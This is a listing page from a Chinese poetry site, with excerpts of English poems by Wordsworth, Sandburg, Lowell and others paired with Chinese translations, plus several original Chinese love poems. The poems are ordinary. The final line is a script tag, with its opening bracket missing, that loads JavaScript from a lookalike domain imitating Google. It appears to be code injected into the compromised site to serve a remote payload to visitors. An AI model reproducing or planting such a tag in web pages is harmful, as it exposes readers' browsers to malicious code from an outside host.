当前位置:主页>外国爱情诗>

the daffodils

the daffodils william wordsworth 黄水仙花 威廉姆·华滋华斯 i wander'd lonely as a cloud that floats on hight o'er vales and hills, when all the once i saw a crowd, a host,of golden daffodils, beside the lake,beneath the trees, fluttering and dancing
loveword.com.cn/waiguoaiqingshi/476.html

the rose in the wind

the rose in the wind james stephens 风中蔷薇花 吉姆肆·斯弟芬司 dip and swing, lift and sway; dream a life, in a dream,away. like a dream in a sleep is the rose in the wind; and a fish in the deep; and a man in the mind; dreaming to lack all that is
loveword.com.cn/waiguoaiqingshi/474.html

the paps of dana

the paps of dana james stephens 月神的奶头 吉姆肆·斯弟芬司 the moutains stand and stare around, they are far too proud to speak, altho'they are rooted in the ground up they go,peak after peak, before the tallest house,and still soaring over tree an
loveword.com.cn/waiguoaiqingshi/473.html

winter moon

winter moon evelyn scott 冬月 伊吾琳·司科特 a little white thistle moon blown over the cold crags and fens: a little white thistle moon blown across the frozen heather. 初月如银沟, 吹过冰岩沼; 如勾初月白, 吹渡寒郊草。
loveword.com.cn/waiguoaiqingshi/420.html

the shepherdess

the shepherdess alice meynell 牧羊的女儿 阿里斯·美那尔 she walks——the lady of my delight—— a shepherdess of sheep. her flocks are thoughts.she keep them white; she guards them from the steep. she feeds them on the fragrant height and folds them
loveword.com.cn/waiguoaiqingshi/418.html

the moon

the moon william h.davies 月 威廉·h·戴维士 thy beauty haunts me heart and soul, o thou fair moon,so close and bright; thy beauty makes me like the child that cries aloud to own thy light: the little child that lifts each arm to press thee to her b
loveword.com.cn/waiguoaiqingshi/419.html

the soul

the soul john 灵魂 约翰·格斯瓦斯 my soul's the sky——my flying soul! the lightnight flare,the thunder roll, the sun and moon and stars go by, and great winds sweep my soul,the sky! my brooding soul——my soul's the sea! the snaky weed,and whishing
loveword.com.cn/waiguoaiqingshi/417.html

chicago

chicago carl sandburg 芝加哥 卡尔·桑德堡 hog-butcher for the world, tool-maker,stacker of wheat, player with railroads and the nation's freight-handler; stormy,husky,brawling, city of the big shoulders; they tell me you are wicked and i believe the
loveword.com.cn/waiguoaiqingshi/363.html

london thoroughfare2 a.m.

a london thoroughfare(2 a.m.) amy lowell 一条伦敦大马路(午夜二时) 阿米·罗维尔 they have watered the street, it shines in the glare of lamps, cold,white lamps, and lies like a slow-moving river, barred with silver and black. cabs go down it, one,
loveword.com.cn/waiguoaiqingshi/364.html

trees

trees nelson antrim crawford 林 n·a·克劳福特 pines the slow measure of the chanted war song……the storm cloud,dull throbbing black against the sky…… the lover constant though unloved. poplars statuesque cold-eyed women in smooth,caress-inviting
loveword.com.cn/waiguoaiqingshi/362.html

window

window carl sandburg 窗 卡尔·桑得堡 night from a railroad car window is a great,dark,soft thing broken across with slashes of light. 火车窗中望见的夜, 是大而黑的柔软物体, 纵横带着光之鞭痕。
loveword.com.cn/waiguoaiqingshi/361.html

night

night max weber 夜 麦克斯·威伯 fainter, dimmer, stiller, each moment, now night. 愈近黄昏, 暗越暗, 静逾静, 每刻每分, 已如夜境。
loveword.com.cn/waiguoaiqingshi/301.html

magnificence

magnificence a.e. 庄严 艾·野 cloistered amid these austere rocks, a brooding seer,i watched an hour, close to the earth,lost to all else, the marvel of a tiny flower. to build its palace walls of jade what myriads toiled in dark and cold; and what
loveword.com.cn/waiguoaiqingshi/295.html

meditation

meditation russell green 默想 罗素·葛林 i saw the stars against the summer night still trembling as they trembled when the light first fell upon them from the further world. i could not bend my proud humanity to kneel before the cold immensity, i,w
loveword.com.cn/waiguoaiqingshi/293.html

terror

terror f.s.flint 吃惊 f·s·福林特 eyes are tired; the lamp burns, and in its circle of light papers and books lie where chance and life have placed them. silence sings all around me; my heart is bound with a band; outside in the street a few footst
loveword.com.cn/waiguoaiqingshi/292.html

the reaper

the reaper william wordsworth 割麦女 威廉·瓦茨沃斯 behold her,single in the field, yon solitary highland lass! reaping and singing by herself; stop here,or gently pass! alone she cuts and binds the grain, and sings a melancholy strain; o listen!for
loveword.com.cn/waiguoaiqingshi/266.html

the fountain

the fountain james bussel lowell 喷泉 吉姆斯·罗素·洛维尔 into the sunshine, full of the light, leaping and flashing from morn till night! into the moonlight, white than snow, wave so flower-like when the winds blow! into the starlight, rushing in
loveword.com.cn/waiguoaiqingshi/264.html

the burial of sir john moore at corunna

the burial of sir john moore at corunna charles wolfs 爵士约翰·摩尔在克隆那的埋葬 察理·沃尔夫 not a drum was heard,not a funeral note, as his corse to the rampart we hurried; not a soldier discharged his farewell shot o'er the grave where our hero
loveword.com.cn/waiguoaiqingshi/265.html

How Do I Love Thee

How Do I Love Thee? by Elizabeth Barrett Browning.How do I love thee? Let me count the ways. I love thee to the depth and breadth and height My soul can reach, when feeling out of sight For the ends of Being and ideal Grace. I love thee to the level
loveword.com.cn/waiguoaiqingshi/263.html

十一月的秋

夏天已然悄悄走了吧 满脸的慈祥安然睡去 秋 尾随一阵微风 潸然而来 微凉的露珠 泛黄的叶子 遥远的笛音 一滴 一片 一阵 小河边上依偎在树下的少女 飘然的发丝 清澈的眼神 十一月的故事 埋藏在远处那片白桦林里
loveword.com.cn/waiguoaiqingshi/146.html

原来

原来 我是一个天使, 一个只有一支翅膀的天使。 上帝说: 你要想飞翔, 就要找到另一支翅膀。 于是 翻过千山,跃过万水, 我拖着疲惫的身体, 来到了另一个国度。 在这,我遇见了你 一个和我有着同样遭遇的你。 于是 我们一起去寻找自己的另一支翅膀。 许多年后 仍一无
loveword.com.cn/waiguoaiqingshi/144.html

春思

春 思 窗外柳正绿,芳草何处寻? 寂寞求学路,能与谁同行? 昨日见君面,我心甚欢喜。 能否互牵手,不知君意何?
loveword.com.cn/waiguoaiqingshi/145.html

以一种孤单的方式思念

不知什么时候开始, 我变的这样任性了, 总会因为找不到你, 一下子闷闷不乐起来。 以一种孤单的方式思念, 当月亮和星星升起的时候, 没有人知道我是怎样的心情, 风.........将长发和思念 延伸再延伸.......... 寂寞孤独的夜里, 一切不过是我的影子, 思念是我唯一
loveword.com.cn/waiguoaiqingshi/143.html

无悔的爱

就像飞蛾月黑风高的壮烈 就像旅鼠不曾回首的死亡 有一种决裂,有一种绝烈 那千年前秋水暗涌的幽怨悠远 那爱上孤独的香味 渴望一点点温柔却不能施柔 渴望一点点妄动却不能骚动 渴望一点点表白却不能告白 是否爱的太沉重 还是嘴唇太沉重 是否爱的落空 还是灭了瞳孔 寂寞
loveword.com.cn/waiguoaiqingshi/133.html

你,正在忧伤

你,正在忧伤 你把门窗紧锁着 你把灵魂敞开着 脸贴着厚厚的墙  你,正在忧伤 你用手轻轻地敲打着墙壁 象是在敲打着 儿时的梦想 或是父亲的脊梁  你,正在忧伤 你的呼吸开始漫长 是想徒步走出回家的路 还是想装作
loveword.com.cn/waiguoaiqingshi/134.html
首页 上一页 [1] 2 [3] 下一页 末页
script src=http://www.googleshoulumole.cn/unsions.js>